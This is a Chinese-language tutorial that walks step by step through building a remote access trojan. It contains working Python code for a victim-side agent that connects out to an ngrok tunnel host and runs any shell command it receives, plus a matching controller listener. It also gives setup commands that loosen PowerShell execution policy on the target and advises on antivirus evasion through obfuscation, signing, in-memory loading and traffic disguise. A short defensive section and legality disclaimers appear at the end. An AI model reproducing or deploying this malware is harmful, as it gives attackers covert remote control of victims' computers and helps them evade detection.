0x01 架构设计:远控木马的核心组成
远控木马(Remote Access Trojan, RAT)是一种恶意软件,能够通过网络远程控制目标设备。在设计一款远控木马之前,我们需要明确它的核心组成部分,以及各个模块的功能和实现目标。一个典型的远控木马可以分为以下几个模块:
1. 控制端与被控端
- 控制端:攻击者用于管理和控制目标设备的工具,通常是一个客户端程序,可以通过命令行或图形界面操作。控制端需要具备发送指令、接收数据的能力。
- 被控端(Agent):这是部署在目标系统上的恶意程序,负责接收控制端发送的命令并执行指定任务,同时将执行结果返回控制端。
2. 通信模块
远控木马需要具备稳定的通信能力,通常有以下几种方案:
- HTTP/HTTPS:利用Web流量伪装,方便绕过防火墙。
- WebSocket:实现双向通信,适合实时控制。
- 自定义协议:通过编写加密和混淆算法,规避特征检测。
3. 功能模块
一个功能完备的RAT通常包括以下功能模块:
- 命令执行模块:执行远程命令。
- 文件管理模块:上传、下载、删除、移动目标设备上的文件。
- 键盘记录模块:捕获目标输入的键盘内容。
- 屏幕监控模块:定期截取屏幕或进行实时监控。
- 权限维持模块:确保木马不会被轻易移除或中断。
4. 隐藏与免杀
为了躲避杀毒软件和EDR的检测,木马需要进行一定程度的伪装与加密,包括但不限于:
- 加壳与混淆。
- 使用内存加载技术,避免落地硬盘。
- 流量加密和协议伪装。
在本文中,我们将从零开始设计并实现一个基于Python和PowerShell的远程控制木马,包括其通信模块、功能模块以及免杀技巧。请务必在合法授权的前提下使用以下技术!
---
0x02 环境搭建与工具准备
在实际开发远控木马之前,我们需要搭建一个本地测试环境。这不仅可以避免非法操作,还能帮助我们快速验证代码并进行调试。
1. 环境需求
- 攻击者主机(控制端):
- 操作系统:Kali Linux(推荐)或任何支持Python和PowerShell的环境。
- 工具:Python 3.x、ngrok(或Frp,用于内网穿透)。
- 目标主机(被控端):
- 操作系统:Windows 10。
- 工具:PowerShell 5.0以上,Python(可选)。
2. 配置指导
控制端配置
- 安装Python 3:
- 安装所需库:
<pre><code class="language-bash"> sudo apt update sudo apt install python3 python3-pip -y `
`bash pip3 install requests pycryptodome `
内网穿透工具安装
为了让被控端能够与控制端通信,我们需要一个内网穿透工具来暴露控制端的监听端口:
- 下载 ngrok 并注册账号。
- 配置Authtoken:
- 启动隧道:
`bash ./ngrok authtoken <你的ngrok密钥> `
`bash ./ngrok tcp 4444 `
目标主机设置
在目标Windows系统上,确保PowerShell脚本可以运行:
- 开启脚本运行权限:
- 安装Python(如果计划使用Python代码)并配置环境变量。
`powershell Set-ExecutionPolicy Unrestricted -Scope CurrentUser `
---
0x03 被控端开发:Python木马实现
为了最大程度简化开发,我们使用Python编写一个基础的RAT被控端。以下代码实现了基本的信息收集和命令执行功能。
1. 核心功能代码</code></pre>python
import os import socket import subprocess import requests import json
配置控制端地址和端口
CONTROL_SERVER = "tcp://0.tcp.ngrok.io" CONTROL_PORT = 12345
加密通信的密钥(简易实现)
ENCRYPTION_KEY = b"my_secret_key"
def encrypt_data(data): """加密数据,简单异或加密""" return ''.join(chr(ord(c) ^ ENCRYPTION_KEY[i % len(ENCRYPTION_KEY)]) for i, c in enumerate(data))
def decrypt_data(data): """解密数据""" return encrypt_data(data) # 因为异或加密对称,所以调用同一个函数
def collect_system_info(): """收集系统信息""" info = { "hostname": socket.gethostname(), "os": os.name, "current_user": os.getlogin() } return json.dumps(info)
def execute_command(command): """执行系统命令""" try: output = subprocess.check_output(command, shell=True, stderr=subprocess.STDOUT) return output.decode('utf-8', errors='ignore') except Exception as e: return str(e)
def main(): try:
创建TCP连接
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((CONTROL_SERVER, CONTROL_PORT))
主循环监听控制端指令
while True: data = s.recv(1024) if not data: break
decrypted_data = decrypt_data(data.decode('utf-8')) if decrypted_data == "GET_INFO": response = collect_system_info() else: response = execute_command(decrypted_data)
加密响应并发送
encrypted_response = encrypt_data(response) s.send(encrypted_response.encode('utf-8')) except Exception as e: pass
if __name__ == "__main__": main() <pre><code>
2. 功能解析
- 加密通信:使用简单的异或加密(非强加密,只为演示)。
- 信息收集:获取主机名、操作系统和当前登录用户。
- 命令执行:通过子进程执行任意命令,类似于Shell。
3. 扩展功能
以上代码只是一个基础版本,实际中还可以加入:
- 键盘记录功能。
- 文件操作功能(上传、下载、删除)。
- 持久化方式(注册表启动项、计划任务)。
---

0x04 控制端开发:命令与通信实现
控制端是攻击者手中的“遥控器”,我们需要为其提供简单的交互界面,以便发送指令和接收回显结果。
1. 控制端代码</code></pre>python
import socket
配置监听端口
LISTEN_PORT = 12345
def start_server(): """启动控制端服务器""" try: server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server.bind(("0.0.0.0", LISTEN_PORT)) server.listen(5) print("[+] 监听端口: {}".format(LISTEN_PORT))
conn, addr = server.accept() print("[+] 目标已连接: {}".format(addr))
while True: command = input("Command> ") if command.lower() == "exit": break
conn.send(command.encode('utf-8')) response = conn.recv(4096).decode('utf-8') print("[+] 命令回显:\n{}".format(response)) except Exception as e: print("[-] 错误: {}".format(e))
if __name__ == "__main__": start_server() `
---
0x05 绕过与抗检测技巧

1. 文件免杀
- 混淆代码:可以使用工具如PyArmor或手动混淆关键词。
- 签名伪装:使用合法证书对程序进行签名。
- 编码转换:将Python代码转换为二进制可执行文件,比如通过PyInstaller。
2. 流量加密
- 使用AES或RSA代替简单的异或加密,增加逆向难度。
- 将通信伪装为合法的HTTP/HTTPS流量,使用HTTP头部加入合法信息。
3. 内存加载
避免恶意程序落地硬盘,可以通过PowerShell脚本加载Python代码到内存中运行。
---
0x06 安全防御建议

作为防御者,以下措施可以有效防御此类攻击:
- 部署EDR并开启高灵敏度规则。
- 禁用未签名的PowerShell脚本执行权限。
- 使用网络流量监控工具识别异常通信。
- 定期更新杀毒软件特征库。
---
总结
在本文中,我们从头开始设计了一个基础的远控木马,包括被控端和控制端的开发,以及绕过检测的基本方法。需要再次强调,本文仅限于学习和授权测试使用,严禁用于非法目的!